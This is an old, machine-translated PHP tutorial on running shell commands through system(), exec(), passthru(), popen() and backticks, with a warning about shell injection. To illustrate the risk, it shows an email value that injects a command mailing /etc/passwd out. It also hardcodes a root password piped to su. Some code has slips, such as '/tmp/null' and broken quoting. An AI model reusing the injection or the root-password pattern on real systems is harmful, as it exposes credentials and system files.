Execute system external commands in PHP_PHP tutorial-PHP Tutorial-php.cn

As a server-side scripting language, PHP is fully capable of tasks such as writing simple or complex dynamic web pages. But this is not always the case. Sometimes in order to implement a certain function, you must resort to external programs (or commands) of the operating system, so that you can get twice the result with half the effort.

So, is it possible to call external commands in PHP scripts? If so, how to do it? What are your concerns? I believe that after reading this article, you will definitely be able to answer these questions.

Is that possible?

The answer is yes. PHP, like other programming languages, can call external commands within the program, and it is very simple: just use one or a few functions.

Prerequisites

Since PHP is basically used for WEB program development, security has become an important aspect that people consider. So PHP designers added a door to PHP: safe mode. If running in safe mode, the PHP script will be subject to the following four restrictions:

Execute external commands
There are some restrictions when opening files
Connect to the MySQL database
HTTP-based Authentication
In safe mode, only external programs in specific directories can be executed, and calls to other programs will be denied. This directory can be specified using the safe_mode_exec_dir directive in the php.ini file, or by adding the --with-exec-dir option when compiling PHP. The default is /usr/local/php/bin.

If you call an external command that should be able to output results (meaning that the PHP script has no errors), but you get a blank, then it is likely that your network administrator has run PHP in safe mode.

How to do it?

To call external commands in PHP, you can use the following three methods:

1) Use the special functions provided by PHP

PHP provides a total of 3 special functions Functions for executing external commands: system(), exec(), passthru().

system()

Prototype: string system (string command [, int return_var])

The system() function is similar to that in other languages. It executes the given Commands, output and return results. The second parameter is optional and is used to get the status code after the command is executed.

Example:

system("/usr/local/bin/webalizer/webalizer");
?>

exec( )

Prototype: string exec (string command [, string array [, int return_var]])

The exec() function is similar to system() and also executes the given command, but does not prints the result, but returns the last row of the result. Although it only returns the last line of the command result, using the second parameter array can get the complete result by appending the results line by line to the end of the array. So if the array is not empty, it is best to use unset() to clear it before calling it. Only when the second parameter is specified, the third parameter can be used to obtain the status code of command execution.

Example:

exec("/bin/ls -l");
exec("/bin/ls -l", $res);
#$res is a data, each element represents a row of the result
exec("/bin/ls -l", $res, $rc);
#The value of $rc is the command/bin /ls -l status code. In case of success, it is usually 0
?>

passthru()

Prototype: void passthru (string command [, int return_var])

passthru() It only calls the command and does not return any results, but outputs the running results of the command directly to the standard output device as is. Therefore, the passthru() function is often used to call programs like pbmplus (a tool for processing images under Unix that outputs a binary stream of original images). It can also get the status code of command execution.

Example:

header("Content-type: image/gif");
passthru("./ppmtogif hunte.ppm");
?>

2) Use the popen() function to open the process

The above method can only simply execute the command, but cannot interact with the command. But sometimes you must enter something into the command. For example, when adding a Linux system user, you need to call su to change the current user to root, and the su command must enter the root password on the command line. In this case, it is obviously not possible to use the method mentioned above.

The popen() function opens a process pipe to execute the given command and returns a file handle. Since a file handle is returned, you can read and write to it. In PHP3, this kind of handle can only be used in a single operation mode, either writing or reading; starting from PHP4, it is possible to read and write at the same time. Unless the handle is opened in one mode (read or write), the pclose() function must be called to close it.

Example 1:

$fp=popen("/bin/ls -l", "r");
?>

Example 2 (this example comes from the PHP China Alliance website http://www.phpx.com/show.php?d=col&i=51):

/* How to do it in PHP Add a system user
The following is a routine to add a user named james.
The root password is very good.For reference only
*/
$sucommand = "su --login root --command";
$useradd = "useradd ";
$rootpasswd = "verygood";
$user = "james";
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w") ;
@fputs($fp,$rootpasswd);
@pclose($fp);
?>

3) Use backtick (`, which is ESC on the keyboard The one under the key is the same as ~)

This method was not included in the PHP documentation before and existed as a secret technique. The method is very simple. Use two backticks to enclose the command to be executed as an expression. The value of this expression is the result of the command execution. For example:

$res=`/bin/ls -l`;
echo '

'.$res.'

';
?>

The output of this script is like:

hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php

What should you consider?

There are two issues to consider: security and timeout.

Look at safety first. For example, you have a small online store, so the list of products available for sale is placed in a file. You write an HTML file with a form that asks your users to enter their email address and then sends them a list of products. Assuming that you have not used PHP's mail() function (or have never heard of it), you call the mail program of the Linux/Unix system to send this file. The program is like this:

system("mail $to < products.txt");
echo "Our product catalog has been sent to your mailbox: $to" ;
?>

Using this code will not cause any danger to ordinary users, but in fact there is a very large security vulnerability. If a malicious user enters such an EMAIL address:

'--bla ; mail someone@domain.com < /etc/passwd ;'

then this command will eventually become Into:

'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt'

I believe that no matter which network administrator sees this The order will make you break out in a cold sweat.

Fortunately, PHP provides us with two functions: EscapeShellCmd() and EscapeShellArg(). The function EscapeShellCmd escapes all characters in a string that may be used to execute another command without the Shell. These characters have special meanings in the Shell, such as semicolon (), redirection (>), and reading from a file (<). The function EscapeShellArg is used to process command parameters. It adds single quotes around the given string and escapes the single quotes in the string so that the string can be safely used as a command argument.

Let’s look at the timeout issue again. If the command to be executed takes a long time, the command should be run in the background of the system. But by default, functions such as system() wait until the command is finished running before returning (actually, they have to wait for the output of the command), which will definitely cause the PHP script to time out. The solution is to redirect the command output to another file or stream, such as:

system("/usr/local/bin/order_proc > /tmp/null & ");
?>

Hunte on October 28, 2000